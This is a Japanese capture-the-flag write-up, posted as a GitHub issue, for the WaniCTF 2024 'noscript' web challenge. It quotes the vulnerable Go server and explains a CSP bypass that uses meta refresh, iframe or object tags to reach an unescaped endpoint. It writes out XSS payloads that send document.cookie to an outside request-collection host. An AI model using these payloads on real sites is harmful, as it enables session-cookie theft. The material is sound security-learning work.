Open roaris opened 3 months ago
crawlerにURLを渡して、XSSでCookieを盗む問題 渡せるURLは/user/\<uuid>の形式
// Report API
r.POST("/report", func(c *gin.Context) {
url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d"
re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(url) {
if err := redisClient.RPush(ctx, "url", url).Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
if err := redisClient.Incr(ctx, "queued_count").Err(); err != nil {
_, _ = c.Writer.WriteString("<p>Failed to report <a href='/'>Home</a></p>")
return
}
_, _ = c.Writer.WriteString("<p>Reported! <a href='/'>Home</a></p>")
} else {
_, _ = c.Writer.WriteString("<p>invalid url <a href='/'>Home</a></p>")
}
})
/user/\<uuid>ではCSPが設定されていて、簡単にXSSを起こすことは出来ない
// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
params := map[string]interface{}{
"id": id,
"username": val[0],
"profile": template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
usernameとprofileを更新出来る uuidの形式をチェックしているだけで、usernameとprofileは自由な値に出来る
// Modify user profiles
r.POST("/user/:id/", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if _, ok := db.Get(id); ok {
username := c.PostForm("username")
profile := c.PostForm("profile")
db.Delete(id)
db.Set(id, username, profile)
if _, ok := db.Get(id); ok {
c.Redirect(http.StatusMovedPermanently, "/user/"+id)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
エスケープされているか確認する
usernameはエスケープされているが、profileはエスケープされていない コードを確認すると以下のようになっている
params := map[string]interface{}{
"id": id,
"username": val[0],
"profile": template.HTML(val[1]),
}
c.HTML(http.StatusOK, "user.html", params)
template.HTML(...)というのは、Typed Stringsというものである 「この文字列は安全だからエスケープせずにHTMLとして扱って欲しい」という時にtemplate.HTMLに渡す template.HTMLの他に、template.JSがある
https://pkg.go.dev/html/template#hdr-Typed_Strings
https://creators.bengo4.com/entry/2024/05/13/120000
Typed Strings がテンプレート内の適切な箇所に渡された場合、その文字列はエスケープされません。 自身で HTML などのコードを適用するときにエスケープをされては困るので「Typed Strings を用意した側が、その文字列の安全性を担保している」という前提に基づいて、これらの型を指定します。
エスケープされないからといって、profileを<script>alert(1)</script>
にしてもalert(1)は実行されない
CSPがdefault-src 'self', script-src 'none'
だからである
script-srcディレクティブで、JavaScriptの読み込みを許可するドメインを指定する
https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Security-Policy/script-src
例えば、script-src https://valid.example.com
であれば、
<script src="https://valid.example.com/main.js"></script>
で読み込んだJavaScriptは実行されるが、
<script src="https://invalid.example.com/main.js"></script>
で読み込んだJavaScriptは実行されない
https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Security-Policy/Sources
script-src 'self'
とすれば、自身のドメインからのみJavaScriptの読み込みを許可する
script-src 'none'
とすれば、JavaScriptの読み込みを一切許可しない
インラインスクリプトは基本的に許可されない
許可する場合は、script-src 'unsafe-inline'
やscript-src 'nonce-...'
やscript-src 'sha256-...'
などを使う
script-srcの他にも、img-srcやframe-srcがある 今回は、img-srcやframe-srcは指定されておらず、その場合は、default-srcが適用される
/user/\<uuid>だけでXSSを起こすのは無理だろう インラインスクリプトが使えないし、JavaScriptの読み込みも一切許可されないから
なので、他の部分を調べる /username/\<uuid>では、出力をエスケープしていないし、CSPも設定されていないので、自由にJavaScriptを実行出来る
// Get username API
r.GET("/username/:id", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
_, _ = c.Writer.WriteString(val[0])
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
ただし、crawlerに渡すURLは、/user/\<uuid>の形式である必要があるので、/user/\<uuid>でprofileがエスケープされていないことと、/username/\<uuid>で自由にJavaScriptを実行出来ることを組み合わせる
主な解法は2つある
1つ目はmeta refreshによって、/user/\<uuid>から/username/\<uuid>にリダイレクトさせる方法である
usernameを<script>alert(1)</script>
、profileを<meta http-equiv="refresh" content="5; URL=/username/a3358697-7f08-45b2-a90c-4032e6b355f8">
にすると、/user/a3358697-7f08-45b2-a90c-4032e6b355f8にアクセスして、5秒後に/username/a3358697-7f08-45b2-a90c-4032e6b355f8にリダイレクトし、alert(1)が実行される
2つ目はiframeを使う方法である
usernameを<script>alert(1)</script>
、profileを<iframe src="/username/df80fa25-239a-4103-9877-77b81a9fc3b5">
にすると、/user/df80fa25-239a-4103-9877-77b81a9fc3b5にアクセスすると、alert(1)が実行される
今回、CSPにframe-srcは設定されていないため、default-srcが適用される
default-src: 'self'
なので、自身のドメインであれば、iframeで読み込むことが出来る
自分が本番で使った方法はobjectタグを使った方法である
https://developer.mozilla.org/ja/docs/Web/HTML/Element/object
usernameを<script>alert(1)</script>
、profileを<object data="/username/7923f866-91e1-40e4-9eeb-b0d013e063db">
にすると、/user/7923f866-91e1-40e4-9eeb-b0d013e063dbにアクセスすると、alert(1)が実行される
https://github.com/bhaveshk90/Content-Security-Policy-CSP-Bypass-Techniques を読んでいて、objectタグが使えないか試したら、これで通った
これもCSPにobject-srcが設定されておらず、default-srcが適用されることによって可能
alert(1)を実行してもフラグは得られない
フラグを得るためには、document.cookie
をクエリパラメータで外部に送信する
document.cookie
の送信先として、Request Basketsを使った
usernameを<script>location='https://rbaskets.in/7e1foyi?'+document.cookie</script>
とし、profileは、上に書いた方法のうち、どれかを使えば良い
meta refreshを使う場合は、crawlerは1秒しか待機しないため、遷移までの秒数を0秒にしよう
await page.goto(APP_URL + path, {
waitUntil: "domcontentloaded",
timeout: 3000,
});
await page.waitForTimeout(1000);
<script>fetch('https://rbaskets.in/7e1foyi?'+document.cookie)</script>
だとCORSエラーが発生する(Request Basketsの問題)
crawlerがエラーを出して動かなかった
crawler_1 | crawl /user/becd5f4f-acfd-46cf-9cb5-25aa87a0e323
crawler_1 | crawl page.goto: net::ERR_SSL_PROTOCOL_ERROR at http://app:8080/user/becd5f4f-acfd-46cf-9cb5-25aa87a0e323
httpsでアクセスしようとして、net::ERR_SSL_PROTOCOL_ERRORが発生するなら分かるが、httpでアクセスしようとして、このエラーが発生するのはおかしい気がする
https://playwright.dev/docs/api/class-browser#browser-new-context を見て修正してみたが、直らなかった
const browser = await chromium.launch();
const context = await browser.newContext({ignoreHTTPSErrors: true});
const page = await context.newPage();
https://qiita.com/kei_s/items/cac0054aec8a3dd757ef appドメインがHSTS Preload Listの中に含まれていて、https通信を強制されるらしい https://hstspreload.org/?domain=app
docker-compose.ymlのコンテナ名を修正した
services:
server:
build: ./app
ports:
- "8080:8080"
environment:
- REDIS_HOST=redis
- REDIS_PORT=6379
crawler:
build: ./crawler
environment:
- FLAG=FAKE{***redacted***}
- APP_URL=http://server:8080
- HOST=server:8080
- REDIS_HOST=redis
- REDIS_PORT=6379
platform: linux/amd64
redis:
image: "redis:alpine"
これで、crawlerが正常に動くようになった
<script>location='https://rbaskets.in/7e1foyi?'+document.cookie</script>
だと、iframe, objectタグを使った方法で上手くいかなかった
iframe, objectタグを使う場合は、fetchを使う必要があり、Request BasketsだとCORSエラーが発生してしまうので、Request Binを使う必要がある
以下のようにフラグが取れる
本番は、<script>location='https://rbaskets.in/7e1foyi?'+document.cookie</script>
とobjectタグで解いたはずなんだが...
Request Basketsにその時のリクエストが残ってた
https://github.com/wani-hackase/wanictf2024-writeup/tree/main/web/noscript
本番で解けた問題だが、解き方が他の人たちと違ったので復習する